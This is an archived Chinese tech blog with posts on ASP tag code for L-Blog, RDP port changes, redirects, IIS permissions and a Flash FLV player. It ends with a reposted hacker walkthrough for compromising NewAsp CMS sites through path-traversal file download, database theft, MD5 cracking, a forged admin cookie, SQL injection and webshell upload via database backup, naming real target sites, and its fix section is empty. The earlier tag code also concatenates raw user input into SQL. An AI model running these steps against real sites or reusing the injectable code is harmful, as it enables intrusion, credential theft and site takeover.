24 2007

在中国网监管理下的中国互联网

Posted by Yangybcy in 电脑网络

   今天网站又一次被网监那些大爷给停了…..
后从公司市场部  得到地址打开一看   这个页面早就删除老了   不晓得网监那些大爷是哈的 还是白痴  

一个不存在的页面 也要封IP  我拷

中国的互联网呀…一味的打压  

为了中国的花朵 的性教育  就只知打压   不知正确的引导花朵的人生观 性观念  世界观

以后的中国  会变成什么样呢 ?  

某某说什么  就跟着做什么  


以上内容   纯属个人气愤 YY几句  

收藏与分享
22 2007

给L-Blog添加TAG能(准备改改 做一个自己的tag模块)

Posted by Yangybcy in 电脑网络

.在include/function.asp最后的%>前面加上下面代码


显示TAG 2005-08-01
Function ShowTag(blogID,TagMode)
sql="select TagsName,Blog_ID from blog_tag where blog_id="&blogID&""
DIM STAG,STARR,STNUM,STI,taglist
Set STAG=SERVER.CreateOBJECT("ADODB.RECORDSET")
STAG.OPEN sql,conn,1,1
IF STAG.EOF AND STAG.BOF THEN
Else
STARR=STAG.GetRows
STNUM=Ubound(STARR,2)
For STI=0 To STNUM
IF TagMode="Edit" then
IF STI=STNUM Then
ShowTag=ShowTag&STARR(0,STI)
Else
ShowTag=ShowTag&STARR(0,STI)&";"
End IF
Else
IF ucase(Trim(CheckStr(Trim(Request.QueryString("tags")))))=ucase(Trim(STARR(0,STI))) Then
taglist="<font color=#ff0000>"&STARR(0,STI)&"</font>"
Else
taglist=STARR(0,STI)
End IF
IF STI=STNUM Then
ShowTag=ShowTag&"<a href=""blogtag.asp?tags="&Server.URLEncode(STARR(0,STI))&""">"&taglist&"</a>"
Else
ShowTag=ShowTag&"<a href=""blogtag.asp?tags="&Server.URLEncode(STARR(0,STI))&""">"&taglist&"</a>"&" | "
End IF
End IF
Next
IF TagMode="Edit" then
Else
ShowTag = "<b>Tag : "&ShowTag&"</b>"
End IF
END IF
STAG.CLOSE
SET STAG=NOTHING
End Function

Sub EditTags(log_ID)
SQL="Select * from blog_tag where blog_id="&log_ID&""
Set deltag=Server.CreateObject("Adodb.Recordset")
deltag.OPEN SQL,CONN,1,1
DO While NOT deltag.Eof
conn.execute ("update blog_tags set TagBlogCount=TagBlogCount-1 where TagName='"&deltag("TagsName")&"'")
deltag.MoveNext
LOOP
deltag.Close
set deltag=nothing
conn.execute ("Delete * from blog_tag where blog_ID="&log_ID&"")
conn.execute ("Delete * from blog_tags where TagBlogCount=0")
End Sub

'显示TAGS分类
Sub TagsList(tMode)
Dim TagRS,MAXTag
IF tMode="Hot" Then
Sql="Select TOP 20 * from blog_tags order by TagBlogCount desc, CreateDate asc"
Else
Sql="Select * from blog_tags order by CreateDate desc"
End IF
Set TagRS = Server.CreateObject("Adodb.RecordSet")
TagRS.Open Sql,Conn,1,1
IF TagRS.Eof AND TagRS.Bof Then
Response.Write ("目前没有 Tags 分类。")
Else
'得到当前最多日志分类数
MAXTag=conn.Execute("select top 1 TagBlogCount From Blog_Tags order By TagBlogCount Desc")(0)
Do While Not TagRS.Eof
IF TagRS("TagBlogCount")>=cint(MAXTag*0.2) AND TagRS("TagBlogCount")<=cint(MAXTag*0.6) Then
Response.Write ("<a href=""blogtag.asp?tags="&Server.URLEncode(TagRS("TagName"))&"""><span class=""Tagg"" title='此Tag共有"&TagRS("TagBlogCount")&"篇日志'>" & TagRS("TagName") & "</span></a>")
ElseIF TagRS("TagBlogCount")>cint(MAXTag*0.6) AND TagRS("TagBlogCount")<=cint(MAXTag*0.9) Then
Response.Write ("<a href=""blogtag.asp?tags="&Server.URLEncode(TagRS("TagName"))&"""><span class=""Tagg"" title='此Tag共有"&TagRS("TagBlogCount")&"篇日志'>" & TagRS("TagName") & "</span></a>")
ElseIF TagRS("TagBlogCount")>cint(MAXTag*0.9) Then
Response.Write ("<a href=""blogtag.asp?tags="&Server.URLEncode(TagRS("TagName"))&"""><span class=""Tagg"" title='此Tag共有"&TagRS("TagBlogCount")&"篇日志'>" & TagRS("TagName") & "</span></a>")
Else
Response.Write ("<a href=""blogtag.asp?tags="&Server.URLEncode(TagRS("TagName"))&"""><span class=""Tagg"" title='此Tag共有"&TagRS("TagBlogCount")&"篇日志'>" & TagRS("TagName") & "</span></a>")
End IF
Response.Write (" | ")
TagRS.MoveNext
Loop
End IF
TagRS.Close
Set TagRS=NoThing
End Sub

Sub DelTags(blog_ED)
SQL="Select * from blog_tag where blog_id="&blog_ED&""
Set deltag=Server.CreateObject("Adodb.Recordset")
deltag.OPEN SQL,CONN,1,1
DO While NOT deltag.Eof
conn.execute ("update blog_tags set TagBlogCount=TagBlogCount-1 where TagName='"&deltag("TagsName")&"'")
deltag.MoveNext
LOOP
deltag.Close
set deltag=nothing
conn.execute ("Delete * from blog_tag where blog_ID="&blog_ED&"")
conn.execute ("Delete * from blog_tags where TagBlogCount=0")
End Sub



2.把TAG.MDB的两个表导出你的数据库,当然只导出定义…
3.在你的blogpost.asp里加上这样一句话



<tr bgcolor="#FFFFFF">
<td align="right"><b>Tags:</b></td>
<td td colspan="2"><input name="log_Tags" type="text" id="log_Tags" size="50"> 最多5个Tag 用;分隔</td>
</tr>




在那个定义的dim Log_Title,log_Content的最后加上 ,log_tags 还要在log_Weather=Request.Form("log_Weather") 的后面加上 log_tags=Request.Form("log_tags")
然后还是在blogpost.asp里的找到这样一句话 SQLQueryNums=SQLQueryNums+4
在他的上面添加


'处理TAG信息
if trim(log_tags)<>empty then
log_tags=Split(log_tags,";")
Dim tabs,ts
For tabs=0 to Ubound(log_tags)
Sql="Select TagName from blog_tags where TagName='"&log_tags(tabs)&"'"
Set ts=Server.CreateObject("Adodb.Recordset")
ts.open sql,conn,1,1
If ts.eof and ts.bof then
conn.execute ("insert into blog_tags(TagName) values('"&log_tags(tabs)&"')")
Else
conn.execute ("update blog_tags set TagBlogCount=TagBlogCount+1 where tagName='"&log_tags(tabs)&"'")
End If
conn.execute ("insert into blog_tag(blog_id,tagsName) values("&PostLogID&",'"&log_tags(tabs)&"')")
ts.close
Set ts=Nothing
Next
End IF
'TAG信息处理结束

/>




4.打开blogedit.asp
和blogpost一样也是添加


<tr bgcolor="#FFFFFF">
<td align="right"><b>Tags:</b></td>
<td td colspan="2"><input name="log_Tags" type="text" id="log_Tags" size="50" value="<%=ShowTag(blog_Edit("log_ID"),"Edit")%>"> 最多5个Tag 用;分隔</td>
</tr>



找到 Conn.ExeCute("Update blog_Info SET blog_LogNums=blog_LogNums-1") 这样一句话后面加上

call DelTags(blog_ED)

找到dim Log_Title,log_Content,在这个定义的最后面加上 ,log_tags 和blogpost.asp添加一样

找到 log_DisComment=Request.Form("log_DisComment") 后面加上
log_tags=Request.Form("log_tags")

找到 Response.Write("<br><br>修改日志成功!<br> 这句话在他的上面添加


'处理TAG信息
Dim tabs,ts,deltag
'为了保证数据的统计的准确,先删除此日志以前的TAG并将该TAG的日志数减1
Call EditTags(log_ID)
'加入新的TAGS
if trim(log_tags)<>empty then
log_tags=Split(log_tags,";")
For tabs=0 to Ubound(log_tags)
Sql="Select TagName from blog_tags where TagName='"&log_tags(tabs)&"'"
Set ts=Server.CreateObject("Adodb.Recordset")
ts.Open sql,conn,1,1
IF ts.Eof AND ts.Bof Then
conn.execute ("Insert Into blog_tags(TagName) Values('"&log_tags(tabs)&"')")
Else
'问题:如果日志此标签存在,可以加上,但是,如果以前已经使用了此标签,统计数就会多1。
conn.Execute ("Update blog_tags Set TagBlogCount=TagBlogCount+1 where tagName='"&log_tags(tabs)&"'")
End If
conn.Execute ("Insert Into blog_tag(blog_id,tagsName) Values("&log_ID&",'"&log_tags(tabs)&"')")
ts.Close
Set ts=Nothing
Next
End IF
'TAG信息处理结束




5.在default.asp找到


If HtmlEncode(webLog("log_Content"))<>log_Intro Then Response.Write(log_ShowURL&"<img src=""images/icon_readmore.gif"" align=""absmiddle"" border=""0"">阅读全文……</a><br><br>")



在后面加上


'显示TAGS
if ShowTag(weblog_ID,"Show")<>empty then
Response.Write (ShowTag(weblog_ID,"Show"))
end if
'显示TAGS结束



对了tags.asp里面还要用到个分页的函数


Function MultiPage_l(Numbers,Perpage,Curpage,Url_Add) '列表分页函数
CurPage=Int(Curpage)
Dim URL
URL=Request.ServerVariables("Script_Name")&Url_Add
MultiPage_l=""
Dim Page,Offset,PageI
If Int(Numbers)>Int(PerPage) Then
Page=10
Offset=2
Dim Pages,FromPage,ToPage
If Numbers Mod Cint(Perpage)=0 Then
Pages=Int(Numbers/Perpage)
Else
Pages=Int(Numbers/Perpage)+1
End If
FromPage=Curpage-Offset
ToPage=Curpage+Page-Offset-1
If Page>Pages Then
FromPage=1
ToPage=Pages
Else
If FromPage<1 Then
Topage=Curpage+1-FromPage
FromPage=1
If (ToPage-FromPage)<Page And (ToPage-FromPage)<Pages Then ToPage=Page
ElseIF Topage>Pages Then
FromPage =Curpage-Pages +ToPage
ToPage=Pages
If (ToPage-FromPage)<Page And (ToPage-FromPage)<Pages Then FromPage=Pages-Page+1
End If
End If
MultiPage_l="<a href="""&Url&"sortBy="&sortBy&"&page=1""><img src=""images/icon_ar.gif"" border=""0"" align=""absmiddle""></a> "
For PageI=FromPage TO ToPage
If PageI<>CurPage Then
MultiPage_l=MultiPage_l&"<a href="""&Url&"sortBy="&sortBy&"&page="&PageI&""">["&PageI&"]</a> "
Else
MultiPage_l=MultiPage_l&"<b>["&PageI&"]</b> "
End If
Next
If Int(Pages)>Int(Page) Then
MultiPage_l=MultiPage_l&" … <a href="""&Url&"page="&Pages&"""> ["&pages&"] <img src=""images/icon_al.gif"" border=""0"" align=""absmiddle""></a> <input type=""text"" name=""custompage"" size=""1"" class=""custompage"" onKeyDown=""javascript: if(window.event.keyCode == 13) window.location='"&Url&"page='+this.value;"">"
Else
MultiPage_l=MultiPage_l&" <a href="""&Url&"sortBy="&sortBy&"&page="&Pages&"""><img src=""images/icon_al.gif"" border=""0"" align=""absmiddle""></a>"
End If
End If
End Function




好了,基本完了,最后就是下载下面的文件,这里只要把压缩包里的文件覆盖你的文件就好,数据库的两个表需要导入
http://www.boki.cn/blog/disk/upload/tags.rar

收藏与分享
13 2007

更改2003远程桌面端口3389为其他端口号

Posted by Yangybcy in 电脑网络

Windows 2003系统中的远程终端服务是一项功能非常强大的服务,同时也成了入侵者长驻主机的通道,入侵者可以利用一些手段得到管理员账号和密码并入侵主机。下面,我们来看看如何通过修改默认端口,防范黑客入侵。

远程终端服务基于端口3389。入侵者一般先扫描主机开放端口,一旦发现其开放了3389端口,就会进行下一步的入侵,所以我们只需要修改该务默认端口就可以避开大多数入侵者的耳目。

步骤:打开“开始→运行”,输入“regedit”,打开注册表,进入以下路径:

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server   WdsrdpwdTdstcp],看见PortNamber值了吗?其默认值是3389,修改成所希望的端口即可,例如6111。

再打开[HKEY_LOCAL_MACHINE   SYSTEMCurrentContro1SetControlTenninal ServerWinStationsRDPTcp],将PortNumber的值(默认是3389)修改成端口6111。

修改完毕,重新启动电脑,以后远程登录的时候使用端口6111就可以了。

收藏与分享
27 2007

跳转到正确的页面

Posted by Yangybcy in 电脑网络

ASP版

Request.ServerVariables("PATH_INFO")  页面路径
Request.ServerVariables("QUERY_STRING")  QueryString的内容
<%
Response.Redirect "Http://219.153.45.226/" & Request.ServerVariables("PATH_INFO") &"?"& Request.ServerVariables("QUERY_STRING")
%>


HTML版


你好:<br />
&nbsp;&nbsp;谢谢你支持本站。因新网的DNS故障。导致本站的域名(WWW.GHITR.COM)解析到错误的IP地址上。<br />
请你稍等一会。页面正在自动跳转到网站地址。<br />
如果一直显示该页面,请检查你的浏览器是否有启用JavaScript。<br />

<font color=red>本站再次谢谢你的支持</font>
正在跳转到Http://219.153.45.226/

<script language="javascript">
   var r, re,rb;                    // 声明变量。
   var ss = window.location.href;
   re = "www.ghitr.com";             // 创建正则表达式模式。
   rb = "ghitr.com"

   r = ss.replace(re, "219.153.45.226");    // 用 "A" 替换 "The"。
   r = ss.replace(rb, "219.153.45.226");
   window.location.href = r;
  </script>

收藏与分享
18 2007

用isapi_rewrite保护你的数据库文件

Posted by Yangybcy in 电脑网络


数据库文件把地址给你  你也下不到

在isapi_rewrite的规则里面加一句

RewriteRule (.*)/(.*).mdb $1/index.html

只是后缀名是mdb的文件  全部跳到首页

还可以自定义其它地址    

收藏与分享
06 2007

按阿江服务器安全文章设置后,跑PHP需要进行的权限设置

Posted by Yangybcy in 电脑网络

在 阿江的WINDOWS服务器安全设置 中

为了最大限度降低被黑站后的损失

提出:先创建一个用户组(假如为youlan),以后所有的站点的用户都建在这个組里,然后设置这个组在各个分区没有权限或者完全拒绝。


这样之后,假如再装php,就需要设置几处权限:

假设你的php装在c:\php 下, extension-dir目录设置为 c:\php\extensions



那么,访问你网站的.php文件,需要调用c:\php\sapi\php4issapi.dll这个文件

但之前的设置中,可以访问你网站的帐号对此文件是无权访问的,这样就会弹出对话框要求你输入密码,输入失败就提示:

“您未被授权查看该页 您不具备查看该目录或页面的权限,因为访问控制列表 (ACL) 对 Web 服务器上的该资源进行了配置。”


如何解决呢?

对c:\php\sapi\php4issapi.dll这个文件进行安全设置:【文件(夹)上右键→属性→安全】,赋予用户组youlan以读取和运行的权利,并取消继承

同样的道理,应该对 c:\php\extensions进行安全设置,赋予用户组youlan以除完全控制外的权利,并取消继承


同样的道理,以后不管你再装什么组件、服务、凡是需要用到youlan用户组成员访问的,就要单独再设置一下权限

收藏与分享
30 2007

性能计数器巳被禁用

Posted by Yangybcy in 电脑网络

某日  打开机器提示 “性能计数器己禁用”  无耐 上网查资料

居然查到怎样禁用性能计数器。呵 反其道而行  解开自己的禁用


将注册表:HKLM\SYSTEM\CurrentControlSet\Services\PerfProc\Performance\

下面的键值Disable Performance Counters 设置为  0 。


或者直接DEL掉

收藏与分享
29 2007

FLV 播放器制作

Posted by Yangybcy in 电脑网络

大家好,前不久笔者将CenFun Music Player加入flv视频播放功能,这里单独拿出来给大家做一个Flash FLV播放器(仅ActionScript控制,不使用 FLVPlayback 组件),如有不当之处还望指正。
下面就打开您的Macromedia Flash Player 8(推荐)开始吧!

首先新建文档,设置背景色黑色,其他默认,然后建四个图层。

第一层用来放视频元件,方法如下:

1,在"库"面板("窗口">"库")中,从"库"弹出菜单中选择"新建视频"。
2,在"视频属性"对话框中,命名视频元件并选择"视频"(由 ActionScript 控制)。
3,将视频对象从"库"面板拖到舞台正中间,以创建视频对象实例。
4,对此视频元件取实例名为 "my_video"。

第二层用来放视频地址输入栏,方法如下:

1,在舞台左下方用文本工具(快捷键T)画一个地址输入文本框,类型选择"输入文本"类型。
2,在"线条类型"弹出菜单中选择"单行",并确认"在文本周围显示边框"处于选中状态。
3,对此文本框取实例名为"url"。

第三层用来放播放开始按钮,方法如下:

1,在"库"面板("窗口">"库")中,新建元件按钮,按钮样式自行制作好,暂时能用就行。
2,将新建的按钮对象从"库"面板拖到舞台地址输入框后面,以创建播放开始按钮。
3,对此播放开始按钮取实例名为"play_bt"。

第四层用来放所有的ActionScript:

//首先初始化

//创建一个 NetConnection 对象
var my_nc:NetConnection = new NetConnection();
//创建一个本地流连接
my_nc.connect(null);
//创建一个 NetStream 对象
var my_ns:NetStream = new NetStream(my_nc);

//写一个播放函数playflv()

function playflv(flv) {
//参数flv是要播放的flv视频地址
//trace(flv);//测试用
// 将 NetStream 视频输入信号附加到 Video 对象,即视频元件my_video
my_video.attachVideo(my_ns);
// 设置缓冲时间,单位秒,下面设置3秒即可
my_ns.setBufferTime(3);
// 开始播放 FLV 文件
my_ns.play(flv);
}

//点击开始播放按钮开始播放

play_bt.onRelease = function() {
playflv(url.text);
//获得url输入框的视频文件地址,并调用播放函数播放url对应的flv视频文件
};

//////////////////////////////////////////////////////////////////////////////
//至此一个最简单的播放器已经做完了,下面要做的都是对其进行更多的控制和表现工作。
//这里就其几个重要的方面进行制作,其他的还需要大家发挥自己的想象去进行更好的设计制作。
//注意,以下代码非必要,未经测试,望大家一个一个尝试实现。特别注意路径和实例名的对应。

//*********************************
//1,播放的控制,暂停和停止的实现
//新建两个按钮,一个暂停(pause_bt),一个停止(stop_bt),原理和播放按钮一样。

pause_bt.onRelease = function() {
my_ns.pause();
};

stop_bt.onRelease = function() {
my_ns.seek(0);
//搜寻从0开始播放
my_ns.pause(true);
//参数true表示暂停,若是false则表示从暂停变为继续播放,若没有参数则为在暂停/播放中切换。
};

//*********************************
//2,视频下载进度
//这个比较简单,和一般的下载进度类似,原理就是播放时将已下载的和总共文件大小进行百分比,然后显示出来。
//新建显示百分比的静态文本(info)和进度条(bar),其初始状态、位置自行调整

this.onEnterFrame =function () {
var loadedbytes = my_ns.bytesLoaded;
//获得已经下载字节
var totalbytes = my_ns.bytesTotal;
//文件总大小
if (totalbytes == undefined || totalbytes<4000) {
  info.text = "0%";
  bar._width = 1;
} else {
  var nowLoadPercent = Math.round(loadedbytes/totalbytes*100);
  if (isNaN(nowLoadPercent)) {
   info.text = "0%";
   bar._width = 1;
  } else {
   info.text = nowLoadPercent+"%";
   bar._width = nowLoadPercent*35/100;
   if (nowLoadPercent == 100) {
    delete this.onEnterFrame;
   }
  }
}
}

//*********************************
//3,视频尺寸修正或调整
//这个比较重要,因为视频尺寸比例一般都不一样,故播放时要进行调整,以免失真变形。
//原理就是获得flv的尺寸,然后重新调整my_video的尺寸,最后将位置居中,必要时还可进行缩放处理(这里省略)。

//首先写个改变尺寸函数changesize(w, h),w为要改变为的宽度,h为要改变为的高度
function changesize(w, h) {
//改变到传进来的参数尺寸
my_video._width = w;
my_video._height = h;
//trace("w:"+w+"h:"+h);//测试用
//位置居中处理,假如你的视频舞台宽550,高400
my_video._x = 550/2-w/2;
my_video._y = 400/2-h/2;
}
//然后获得flv的固有尺寸,并调用以上函数改变它
//此处理函数在调用 my_ns.play() 方法后而在视频播放头前进之前触发
my_ns.onMetaData = function(infoObject:Object) {
//获得FLV文件中嵌入的描述性信息,这里获得宽/高
var flv_width = infoObject.width;
var flv_height = infoObject.height;
//改变尺寸
changesize(flv_width, flv_height);
};

//*********************************
//4,播放时间和进度
//原理和下载进度类似,先获得总持续时间,然后获得当前时间对其进行百分比,也可做进度条。
// 定义总持续时间全局变量,并获得其值。
var flv_duration;
my_ns.onMetaData = function(infoObject:Object) {
//获得FLV文件中嵌入的描述性信息,这里获得获得总持续时间(单位:秒)
var flv_duration = infoObject.duration;
};
//注意:这里可以和获得宽高写在一起。
//获取当前播放时间
var flv_thistime = my_ns.time;
//然后便可制作播放进度了,和下载进度类似,大家自己制作,此处略。

//*********************************
//5,音量的控制
//这个复杂一点,必须先将音频从 FLV 文件附加到舞台上的影片剪辑,然后对其进行控制
//新建影片剪辑my_ns_mc,并附加音频
my_ns_mc.attachAudio(my_ns);
//为影片剪辑创建新的 Sound 对象
var my_ns_sound = new Sound(my_ns_mc);
//初始化音量(此处默认80)
var flv_volume = 80;
my_ns_sound.setVolume(flv_volume);
//最后对flv_volume的大小(0到100间)进行控制即可改变音量大小
//这部分制作也省略,大家自由发挥,还可以制作静音功能,即flv_volume为0

//*********************************
//还有,像快进,快退,缓冲显示等等,都可以实现,大家自行研究。

//////////////////////////////////////////////////////////////////////////////
最后,一个Flash FLV播放器的制作基本完成了,推荐想学flash的朋友亲自动手去实现,不要老是想去下载什么源码然后修改一通,那样就体会不到其中的很多奥妙了!

补充一个相关问题:flv播放没有图象,只有声音,这是因为这个flv文件用flash 8的编码格式压缩,而你发布的flash播放器为flash 7或更低的版本,故升级为版本8即可,或者将flv文件采用flash 7的编码格式压缩。

收藏与分享
28 2007

新云管理系统漏洞

Posted by Yangybcy in 电脑网络


*[标题]:新云管理系统漏洞
*[作者]:安静的小E
*[来自]:中国黑客联盟 [C.H.U]  
*[个人BLOG]:http://exploit.boke.in
Ps:昨天是万圣节,我等了一年终于可以不化妆出门了!
06年的前半年,网络安全还是没有什么动向,可过了下半年,漏洞出现是如火如荼,脚本漏洞一个接着一个爆,
  我们还是回归正题,先来看看网络上对新云网站系统的介绍:新云网站系统是一套基于WEB的网站管理系统,采用网络中已经成熟、稳定地技术ASP+Acces(或SQL2000)开发而成,通过它,您可以很方便地管理自己网站,并集成支付宝在线支付插件。新云网站系统一般以源码,软件下载站等居多,其中不乏一些黑客站点,在我印象里黑软基地和黑客58都曾经用过这套整站的…….其实最近新云管理系统爆出2份漏洞,一个是新云网站管理系统2.1SP1任意文件下载漏洞,还有一个就是注入漏洞,通杀新云系统2.1以前的ACCESS和SQL版版本,下面我将为大家一一讲解。
  一.系统任意文件下载漏洞:
  漏洞引起的原因是flash/downfile.asp过滤不严导致可下载任意文件。看一下出现漏洞的相关代码:
<%
Dim url,strUrl,strPath
url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "\", "/")   //首先先进行一些字符的替换,'换成空,%也换成空,\换成/
If Len(url) > 3 Then
If Left(url,1) = "/" Then
Response.Redirect url                                       //如果用户提交的url第一个字符是/,那直接转向url
End If

If Left(url,3) = "../" Then
Response.Redirect url                                       //和上面的注释一样不可以用../跳转目录
End If
strUrl = Left(url,10)
If InStr(strUrl, "://") > 0 Then
Response.Redirect url
End If
If InStr(url, "/") > 0 Then
strPath = Server.MapPath(".") & "\" & url                         //补充物理地址
strPath = Replace(strPath, "/", "\")                             //替换/为\
Call downThisFile(strPath)                                   //下载
Else
Response.Redirect url
End If
End If

Sub downThisFile(thePath)
Response.Clear
On Error Resume Next
Dim stream, fileName, fileContentType

fileName = split(thePath,"\")(UBound(split(thePath,"\")))
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(thePath)
Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
%>从以上代码我们看到貌似url都被处理了,不可能用../跳转目录。但是程序只判断了url的前三个字符。既然前三个字符不能是../,我们就构造在后面,构造一下url参数为"uploadfile/../../conn.asp",于是总体的地址就是http://****/flash/downfile.asp?url=uploadfile/../../conn.asp,就可以下载conn.asp文件了。
  现在我们就来看一下此漏洞的利用过程:
  一,踩点
  看了上面对漏洞的简单分析,如此我们只需要把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录就可以达到我们的目的了。在Google搜索关键字 “关于本站 – 网站帮助 – 广告合作 – 下载声明 – 友情连接 – 网站地图 – 管理登录”或者“Powered by:NewAsp”,还可以使用google hack利用intext或者inurl搜索:“Newasp”就可以找到利用新云网站管理建站的页面。返回如图1
[attachment=2470]
  二.猎取
  然后随便找个有漏洞的网站,在URL后提交flash/downfile.asp?url=uploadfile/../../conn.asp,如图2
[attachment=2471]
把conn.asp下载回来,conn.asp是建立数据库的连接文件,我们把conn.asp下载回来的目的就是发现目标网站的数据库路径,进而获取管理员信息。
这里为了方便,我给大家提供了一个新云通杀漏洞的利用工具,如图3
[attachment=2472]
输入URL地址,然后点击“Down Conn.asp”就可以了!实现的是同样的效果。
  三.剖析
  用记事本打开conn.asp,我们会发现数据库连接的路径,如图4
[attachment=2473]
输入数据库的完整地址:http://www.jinshouzhi.com\database\#newasp.mdb下载数据库。
  四.寻宝
  用辅臣数据库浏览器打开,如图05
[attachment=2474]
  五.破解
现在我们获取了管理员帐号和密码,管理的密码是MD5加密的,我们可以在http://www.xmd5.com,在线破解MD5网站上查询,对于查询不到的我们就需要碰一下运气,注意管理员的信息,比如帐号和口令相同等等,对于还是无法爆破的就需要暴力破解了,我们先登陆后台看看有什么可以利用的地方继续扩大战果,输入默认管理员页面:http://jinshouzhi.com/admin/admin_index.asp,通常新云网站漏洞的首页下角会出现“管理登陆”。输入我们得到的帐号和密码进入,如图6
[attachment=2475]
我们已经拿到高级管理员权限了。
六.cookie欺骗
点击文章中心的“文章管理”,问题出现了,如图07
[attachment=2476]
管理员页面还有一种可能情况出现,如图8
[attachment=2477]
再就是一种情况是用户名被锁定,也就这三种状态了。对于用户名被锁定就必须用管理员帐号进入后台设置激活用户名,最终还是要得到管理信息嘛!那就要利用cookie欺骗了,入侵过新云网站管理系统的都应该知道。
我们先来看admin_login.asp文件里的一段代码,代码如下:
Sub logout()                           //清除COOKIES中管理员身份的验证信息.
Session.Abandon
Session("AdminName") = ""
Session("AdminPass") = ""
Session("AdminGrade") = ""
Session("AdminFlag") = ""
Session("AdminStatus") = ""
Session("AdminID") = ""
Session("AdminRandomCode") = ""
Response.Cookies(Admin_Cookies_Name) = "&
#34;
Response.Redirect ("../")
End Sub                               //这里可以到,我们COOKIE提交的时候主要是提交AdminName,AdminPass,AdminGrade,AdminFlag,AdminStatus,AdminID,AdminRandomCode,在这几个参数中,RandomCode是随机码,是在登陆时验证管理员是否在线的参数。
Sub chklogin()
Dim adminname, password,RandomCode
adminname = Trim(Replace(Request("adminname"), "'", ""))
password = md5(Trim(Replace(Request("password"), "'", "")))
If Newasp.CheckPost = False Then
  ErrMsg = ErrMsg + "您提交的数据不合法,请不要从外部提交登陆。"
  Founderr = True
End If
If Newasp.IsValidStr(Request("adminname")) = False Then
  ErrMsg = ErrMsg + "<li>用户名中含有非法字符。</li>"
  Founderr = True
End If
If Newasp.IsValidPassword(Request("password")) = False Then
  ErrMsg = ErrMsg + "<li>密码中含有非法字符。</li>"
  Founderr = True
End If
If Request("verifycode") = "" Then
—————————-返回错误信息,省略————————————————————————-
If Founderr = True Then Exit Sub
If Not IsObject(Conn) Then ConnectionDatabase
Set Rs = Server.CreateObject("ADODB.Recordset")
SQL = "select * from NC_Admin where password='" & password & "' And username='" & adminname & "'"
Rs.Open SQL, Conn, 1, 3
If Rs.BOF And Rs.EOF Then
  FoundErr = True
  ErrMsg = ErrMsg + "<li>您输入的用户名和密码不正确或者您不是系统管理员。!</li>"
  Exit Sub大家也看到了这里一共定义了三个变量,也就是adminname, password,RandomCode。其中很明显的对adminname, password变量进行了过滤,但是程序从开始到结束都没有对RandomCode变量进行判断。
接着看代码部分:
RandomCode = Newasp.GetRandomCode
Rs("LoginTime") = Now()
Rs("Loginip") = Newasp.GetUserip
知道RandomCode变量是直接从数据库中提取赋值的。RandomCode存在于数据库中,并且程序对这个变量(随即码)没有进行任何判断。
原理清楚了我们就来实际利用一下:
  制造注入猜解在猜字段username,password,id时加猜一个RandomCode字段猜解,然后在提交的COOKIE中找到RandomCode把我们猜解出来的数据替换成原来的就可以现实cookies欺骗了。
  ASPSESSIONIDCARADBTC=PPFHKFMBMFMGDOEIMKKPDFGL;admin%5Fnewasp=AdminStatus=%B8%DF%BC%B6%B9%DC%C0%ED%D4%B1&AdminID=1Adminflag=SiteConfig%2CAdvertise%2CChannel%2CTemplate%2CTemplateLoad%2CAnnounce%2CAdminLog%2CSendMessage%2CCreateIndex%2CAddArticle1%2CAdminArticle1%2CAdminClass1%2CSpecial1%2CCreateArticle1%2CComment1%2CAdminJsFile1%2CAdminUpload1%2CAdminSelect1%2CAuditing1%2CAddSoft2%2CAdminSoft2%2CAdminClass2%2CSpecial2%2CCreateSoft2%2CComment2%2CAdminJsFile2%2CAdminUpload2%2CAdminSelect2%2CAuditing2%2CDownServer2%2CErrorSoft2%2CAddShop3%2CAdminShop3%2CAdminClass3%2CSpecial3%2CCreateShop3%2CComment3%2CAdminJsFile3%2CAdminUpload3%2CAdminSelect3%2CAuditing3%2CAddArticle5%2CAdminArticle5%2CAdminClass5%2CSpecial5%2CCreateArticle5%2CComment5%2CAdminJsFile5%2CAdminUpload5%2CAdminSelect5%2CAuditing5%2CDownServer5%2CAddUser%2CAdminUser%2CChangePassword%2CUserGroup%2CMainList%2COnline%2CVote%2CFriendLink%2CArticleCollect%2CSoftCollect%2CUploadFile%2CRenameData%2CBackupData%2CRestoreData%2CCompressData%2CSpaceSize%2CBatchReplace&AdminGrade=999&AdminPass=我们猜解出来的MD5密码&RandomCode=3N263U7hgb314iwb&AdminName=猜解出来的账号。
我们打开老兵cookie欺骗工具,然后在Cookies处输入以上字符,在Address处输入管理员页面,搞定,回到了图6的位置,现在我们就可以上传webshell了,来到文章中心处,打开“文章管理”随便编辑一个帖子,然后正常插入我们改过后缀jpg的小马,纪录上传路径,然后找到数据库备份把我们的木马后缀备份回来就可以看见小马了,之后干什么不用我说了吧!
二.新云网站管理系统articlepost.asp文件注入漏洞
问了职业欠钱说关于新云网站注入的漏洞有人写么?他说没有,于是我就在这里给大家带过一下吧!可能大家也都知道了,是前2个月左右时候爆的SQL注入漏洞。漏洞通杀ACCESS和SQL版本的新云2.1以下版本,漏洞存在于user/articlelist.asp文件,漏洞出现在user\articlepost.asp文件的第333行上,代码如下:
SQL = "select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,WriteTime,username from NC_Article where ChannelID=" & ChannelID & " And username='" & Newasp.MemberName & "' And ArticleID=" & Request("ArticleID")大家看到了么?程序只检查了用户是否有发表文章的权限,程序对ArticleID没有做任何过滤直接进Select查询,构成了SQL注入漏洞。
漏洞利用:
首先还是老方法,找利用新云网站系统做站的目标,不过这次的搜索目标和开头不一样,因为影响的管理
系统版本也不一样,我们要找的新云2.1版本以下的,搜索关键字:SiteManageSystem Version 2.0.0,我就拿这黑客站开刀吧!http://www.ysaisf.com,然后我们去注册一个会员,然后登陆控制面板,发布一篇文章, 然后打开类似链接:articlelist.asp?action=,我测试的地址是:http://www.ysaisf.com/user/ArticleList.Asp?action=edit&ChannelID=1&ArticleID=57, 我在URL后输入and 1=1回车显示正常,输入and 1=2返回错误页面,如此以来看来一切都很简单了,然后用注入工具检测得到管理员帐号和密码,利用上一个漏洞的cookie欺骗进入后台,然后利用“备份数据库”功能上传木马。
[attachment=2478]
修补方案:
